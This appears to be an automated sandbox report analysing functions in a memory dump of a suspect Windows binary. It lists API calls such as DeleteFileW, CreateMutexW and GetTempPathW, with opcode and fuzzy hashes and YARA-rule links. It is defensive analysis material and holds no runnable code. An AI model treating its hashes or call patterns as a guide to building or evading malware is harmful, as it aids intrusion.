API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: e0781f5ee00724267c9b6d5b6d444f84c4024f79b30ecd44e6054c7cc5f2ef5a
Instruction ID: b92593e05e2c27ef55fd186987fbc414f99c84e01268ad3c5016773398786341
Opcode Fuzzy Hash: e0781f5ee00724267c9b6d5b6d444f84c4024f79b30ecd44e6054c7cc5f2ef5a
Instruction Fuzzy Hash: 0D213872D0912897C730E7249C81EEAB76C9FD0730F2402A5EC97A2181EE749EC5B990

Uniqueness

Uniqueness Score: -1.00%

Function 00F17645, Relevance: 4.5, APIs: 3, Instructions: 17fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00F12752,?,00F12752,?,?,?,?), ref: 00F1764D
GetLastError.KERNEL32(?,00F12752,?,?,?,?), ref: 00F17657
__dosmaperr.LIBCMT ref: 00F1765E

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: DeleteErrorFileLast__dosmaperr
String ID:
API String ID: 1545401867-0
Opcode ID: 26dd226757390eedd5e4752f9066cf6ff6a4930c7855ff5ab85b1ae27430c539
Instruction ID: f5d422417265ca419508c781f0d7bc00dfc59a50411544b5452b43f44f56fa20
Opcode Fuzzy Hash: 26dd226757390eedd5e4752f9066cf6ff6a4930c7855ff5ab85b1ae27430c539
Instruction Fuzzy Hash: 87D0123260970C778B203BF6BD0D85B3F5C9F813747140665F92CC55A0DF39C892A950

Uniqueness

Uniqueness Score: -1.00%

Function 00F025B0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

<, xrefs: 00F026AC

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: c82b67fcf904cac09619d26a4e206f56e451d6822848a530269855dccba8a61d
Instruction ID: 7e1e188f83e9f7346800d939c5daac7d10fb95dfd9db6e5be9b8d6a703ed9058
Opcode Fuzzy Hash: c82b67fcf904cac09619d26a4e206f56e451d6822848a530269855dccba8a61d
Instruction Fuzzy Hash: 725142716043059BDB68AF28C84939E7BE1FF89304F904A1EFC45872C5DBB5C985ABD2

Uniqueness

Uniqueness Score: -1.00%

Function 00F05A87, Relevance: 3.2, APIs: 2, Instructions: 217COMMON

Download Yara Rule

APIs

Part of subcall function 00F049F0: GetTempPathW.KERNEL32(00000104,?,?,?), ref: 00F0470E

GetFileAttributesA.KERNEL32(00000000), ref: 00F05AC4
GetFileAttributesA.KERNEL32(00000000), ref: 00F05BEB

Part of subcall function 00F04010: GetVersionExW.KERNEL32(0000011C,?,?,80000001), ref: 00F04066

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile$PathTempVersion
String ID:
API String ID: 2626274839-0
Opcode ID: 7b751a51f544f996737c3be38844ddf9f2a51c54f069f9441a0a2ad761bc8bfc
Instruction ID: 8ee1a2758d8827a6d8d438ba62dc16038cfa56a7518aba8961dea2def12f4502
Opcode Fuzzy Hash: 7b751a51f544f996737c3be38844ddf9f2a51c54f069f9441a0a2ad761bc8bfc
Instruction Fuzzy Hash: C7615DB1B006045BEF1CE738DC8A76FB662AF81710F108618E4119B3D7D7B99984BF41

Uniqueness

Uniqueness Score: -1.00%

Function 00F04DE0, Relevance: 3.1, APIs: 2, Instructions: 96synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(00000000,00000000,?), ref: 00F04E41
GetLastError.KERNEL32(?,00000000), ref: 00F04E47

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: ec49bdc3de9f1bed12976fa52a9a023f3d9d2607a8ebe528a2e50c9b8a271e98
Instruction ID: 37a171220b5be0f83a9503af67d480ffe58696fa0b6b14a32b73eb593f9dee1c
Opcode Fuzzy Hash: ec49bdc3de9f1bed12976fa52a9a023f3d9d2607a8ebe528a2e50c9b8a271e98
Instruction Fuzzy Hash: 5A31F271E001099BDF18DF68CC84BAEF7B2FF44301F608569E212E76D1D738AA85AB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F127DB, Relevance: 3.1, APIs: 2, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9cac9964836177d8e92a4eccb0d91c19edb5146338b83226aa7510670845fd1
Instruction ID: 9d0c0606904f63e2a2ca58108be58c40538b9482695491fbf841012882dcdebe
Opcode Fuzzy Hash: a9cac9964836177d8e92a4eccb0d91c19edb5146338b83226aa7510670845fd1
Instruction Fuzzy Hash: B22186329012087EEB11BBA8DC46BDE7769AF41378F200325F9243B1D1DB745E95E6A1

Uniqueness

Uniqueness Score: -1.00%

Function 00F12AB3, Relevance: 3.1, APIs: 2, Instructions: 54timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(00000000,?,?,?,?,00F129EA,?,?,00000000,00000000), ref: 00F12AE1
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,00F129EA,?,?,00000000,00000000), ref: 00F12AF5

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: a94bfee9d807dcc142c8ea60fe17f5eb14dba2e72f950ab0022b8739ebfad876
Instruction ID: a2095f23c3d9e444952d023cb239ea99b650a45ad05edd657e7ae3e46a6219e6
Opcode Fuzzy Hash: a94bfee9d807dcc142c8ea60fe17f5eb14dba2e72f950ab0022b8739ebfad876
Instruction Fuzzy Hash: 08111C7290420CABCB11DFD5CC84ADF77BCAF48320F104266E516E6180EB34EA959B60

Uniqueness

Uniqueness Score: -1.00%

Function 00F151DE, Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F15226

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 742fd1e02dd43f5ccb7af4e94a16000e828e8456d543e5529fc86df1bf704481
Instruction ID: 547b2a2ef6a16ce2572bc6bcca712fd670959a082572d6ad7a651e0c3b3da90e
Opcode Fuzzy Hash: 742fd1e02dd43f5ccb7af4e94a16000e828e8456d543e5529fc86df1bf704481
Instruction Fuzzy Hash: D9E06D23A55910D2E722763A7C463FA3686ABC1B72F21032AF424DA1D0EF7948C27695

Uniqueness

Uniqueness Score: -1.00%

Function 00F0F8C0, Relevance: 1.6, APIs: 1, Instructions: 130COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00F0F9EC

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 6ef23494d4cab6ffee1347d31e12aae61998c6c6f85e047a0eb1ca5c4f545116
Instruction ID: 4fec970d6c71aba2ed81cf33d244ddc8567da9395e3ad16343a2f274b2e91a7b
Opcode Fuzzy Hash: 6ef23494d4cab6ffee1347d31e12aae61998c6c6f85e047a0eb1ca5c4f545116
Instruction Fuzzy Hash: E731F772A00115AFCB24EF28CC816AEB7A9EB45360720023AFC15D7695DB30DD59B7D1

Uniqueness

Uniqueness Score: -1.00%

Function 00F04F35, Relevance: 1.6, APIs: 1, Instructions: 105COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00F04F3E

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 535bca8a78a4af7abda52edebb22c0e53790374cf4286277c70a7e618489fee0
Instruction ID: 77a268a07de988378d8817430a127cca86dca5d9ee104dafed3760a234239d00
Opcode Fuzzy Hash: 535bca8a78a4af7abda52edebb22c0e53790374cf4286277c70a7e618489fee0
Instruction Fuzzy Hash: AD2157717001025BEB2CDB78DC8975EBA629F82311F208718F414877E6D779A984BB80

Uniqueness

Uniqueness Score: -1.00%

Function 00F05062, Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00F05065

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 21769b6ddfd571f19ec39ac968c6398a6a053eaeab71ba2a70383fbcbd261e1e
Instruction ID: 61b9fe1d4bd865a65528af9e402ad28d904b196144d6b3ddbbc44d62b56f15aa
Opcode Fuzzy Hash: 21769b6ddfd571f19ec39ac968c6398a6a053eaeab71ba2a70383fbcbd261e1e
Instruction Fuzzy Hash: 4E21F93171050657EB2CCB78DD8976EF662AF82710F20871CE054977D6C7BA9984BF80

Uniqueness

Uniqueness Score: -1.00%

Function 00F053D7, Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00F053DA

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: ca507dc6885fb72e234c532e367f2cc7de45f6f380b01db38ac55f0d61e9cffb
Instruction ID: c57a815b49c0e84f5cbae594662b54605a8e76ba1a267c632e766135af7c29a1
Opcode Fuzzy Hash: ca507dc6885fb72e234c532e367f2cc7de45f6f380b01db38ac55f0d61e9cffb
Instruction Fuzzy Hash: 57213731B1050457EB1CCBB8DC8879EFA629F82715F208A18E054876D6D7B999C0BF40

Uniqueness

Uniqueness Score: -1.00%

Function 00F054FE, Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00F05501

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: ae456954cb7f7313de59356e496df5ad7f12c47e0c45b6c7a4e0889d426fdc2b
Instruction ID: e11ff39abadc52079a8b4164c25fcc57e908c49153dc0bb9a085f6e5196b9bc0
Opcode Fuzzy Hash: ae456954cb7f7313de59356e496df5ad7f12c47e0c45b6c7a4e0889d426fdc2b
Instruction Fuzzy Hash: 7521F632B106055BEB2CCB78DD8976EBA639B86718F248618E0549B2D5C7B9D980BF40

Uniqueness

Uniqueness Score: -1.00%

Function 00F05625, Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00F05628

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 6066d55ba7e26dc2cd23e500a9bf54d8a48049949579bf4582cc8b38b17f176e
Instruction ID: 32ba734360d6135e787e93181e5609de3b471cb658dc28c9e724d1d544aa71f3
Opcode Fuzzy Hash: 6066d55ba7e26dc2cd23e500a9bf54d8a48049949579bf4582cc8b38b17f176e
Instruction Fuzzy Hash: F0212931B0050557EB1C9B78DD8975EF7629F86714F60871CE051973D6C7BA9980BF40

Uniqueness

Uniqueness Score: -1.00%

Function 00F0574C, Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00F0574F

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c06c4df2e5f05d387fe636e16833e21474f772603460bfe70f92a2823f10d42d
Instruction ID: 3d2ce6ad3d3370b47605a337c3c287bf4b845428f9e9d044280b90bc5c97c8a1
Opcode Fuzzy Hash: c06c4df2e5f05d387fe636e16833e21474f772603460bfe70f92a2823f10d42d
Instruction Fuzzy Hash: A2214C317106059BDB1C8B78DD8975EFA629F82710F208718E454977D6C7B99980BF40

Uniqueness

Uniqueness Score: -1.00%

Function 00F05873, Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00F05876

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 538f91eaec15bb693c3a2db155415263729af6f2e7b82a0d5274a1d1e2edfd9e
Instruction ID: 653647926774e305d4f2fc01ff72d7259d3ec1a7c0d00b7ce74cc573a256998f
Opcode Fuzzy Hash: 538f91eaec15bb693c3a2db155415263729af6f2e7b82a0d5274a1d1e2edfd9e
Instruction Fuzzy Hash: AE215A31B015019BEB1C9B78DD8976EF7A29F82710F208B18E4608B3D6D7BD99807F80

Uniqueness

Uniqueness Score: -1.00%

Function 00F1645F, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00F16499

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 6ee4221dc78fa2c38d3652c079dfdd242a13d7e79f7c4f267e7dd60be5bbe1c4
Instruction ID: 441194e964523a1191694a006096e8fde9e9e8b21a0ba69e68880a6e53b9e13c
Opcode Fuzzy Hash: 6ee4221dc78fa2c38d3652c079dfdd242a13d7e79f7c4f267e7dd60be5bbe1c4
Instruction Fuzzy Hash: 23111571A0420AAFCF05DF58E9419DA7BF5EF48314F0540A9F809EB251D630EA21DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00F17B94, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00F1AD8F: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00F17094,00000001,00000364,00000006,000000FF,?,?,00F0FD13,00F0E3EC,?,00F0EC38,E800F311), ref: 00F1ADD0

_free.LIBCMT ref: 00F17C03

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 0cf873de86ff1509048b2d9677ac235734e71833ea96ae7a256d4af9f5700417
Instruction ID: 32504fc903547c4a61018e6803593ab38a85d0f0988a98650464699141945bd1
Opcode Fuzzy Hash: 0cf873de86ff1509048b2d9677ac235734e71833ea96ae7a256d4af9f5700417
Instruction Fuzzy Hash: 7D014972A08356ABC321EF58C8819D9FBA8FB05370F140669E549A76C0E7706C50C7E4

Uniqueness

Uniqueness Score: -1.00%

Function 00F12769, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F127D0

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 37700dd88deea54bdcb2886b04f3ff1d4b1f1d2d827f433a59b2a57d76293111
Instruction ID: 621c955d13fcd7d2b484d90eccd4f4c91f229b73dc9692974285424c2f4418c7
Opcode Fuzzy Hash: 37700dd88deea54bdcb2886b04f3ff1d4b1f1d2d827f433a59b2a57d76293111
Instruction Fuzzy Hash: 2C016772C04119AEDF41AFE89C427EE7FF4AF04320F144166F814E61D1EA758AE0E790

Uniqueness

Uniqueness Score: -1.00%

Function 00F126FF, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F1275E

Part of subcall function 00F17645: DeleteFileW.KERNEL32(00F12752,?,00F12752,?,?,?,?), ref: 00F1764D
Part of subcall function 00F17645: GetLastError.KERNEL32(?,00F12752,?,?,?,?), ref: 00F17657
Part of subcall function 00F17645: __dosmaperr.LIBCMT ref: 00F1765E

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: DeleteErrorFileLast__dosmaperr_free
String ID:
API String ID: 3353641461-0
Opcode ID: 9ae0e19ef64f5093953115a5dba9c7d0d6d348911aef452eb829f6ac0bb9f163
Instruction ID: 13b9d6e4e27a1fa67608981e07f1fa68c1fd30935b9b6078a49975cea0c5934e
Opcode Fuzzy Hash: 9ae0e19ef64f5093953115a5dba9c7d0d6d348911aef452eb829f6ac0bb9f163
Instruction Fuzzy Hash: B501A971D04219AEDF40BBF89C417EEBFF4AF04324F140166E419E21D1E6748AD0E790

Uniqueness

Uniqueness Score: -1.00%

Function 00F1DB6A, Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F1DBCD

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 24e3c007ec57d6ebd588f531e7a99f6d1e537632e71a79deff46e0281b5a7d00
Instruction ID: a54f8343276489a148bdde3311cb7676539da1b74c27021da93d745647bda84e
Opcode Fuzzy Hash: 24e3c007ec57d6ebd588f531e7a99f6d1e537632e71a79deff46e0281b5a7d00
Instruction Fuzzy Hash: 96014F72C05159BFCF41EFE88C019EE7FB5AF48310F144165F915E21A1E7358AA0EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F1AD8F, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00F17094,00000001,00000364,00000006,000000FF,?,?,00F0FD13,00F0E3EC,?,00F0EC38,E800F311), ref: 00F1ADD0

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 25929936b48536b648c1286eeda2222404b58cbb2042fdcad6c52614b991eaea
Instruction ID: 28c8627ed4d2aba7671360a50ec6ceddcdd39a693514a8d72b3270d76b0002c0
Opcode Fuzzy Hash: 25929936b48536b648c1286eeda2222404b58cbb2042fdcad6c52614b991eaea
Instruction Fuzzy Hash: 03F05932A03E286ADB217A32AC01BEB3B58AF81772F044011FC14D69C1CB30DC80B2E2

Uniqueness

Uniqueness Score: -1.00%

Function 00F16AEA, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00F0E3EC,?,?,00F0FD13,00F0E3EC,?,00F0EC38,E800F311,73B76490), ref: 00F16B1C

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5c4a35ab18c5bd6a3ab8b0245ac95da4feb3df795e8f5b851bcad819724537d6
Instruction ID: 4b8f51261dc7c2c5b17d4d58ef12ccdd84e4079c1dad5a1289a056c628cd3b46
Opcode Fuzzy Hash: 5c4a35ab18c5bd6a3ab8b0245ac95da4feb3df795e8f5b851bcad819724537d6
Instruction Fuzzy Hash: B5E0E532649215AADA30A6659C00FDA3A88AFC13B4F010128FC04D6190DB64EC81B1E1

Uniqueness

Uniqueness Score: -1.00%

Function 00F1D8B1, Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00F1DCA1,?,?,00000000,?,00F1DCA1,00000000,0000000C), ref: 00F1D8CE

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
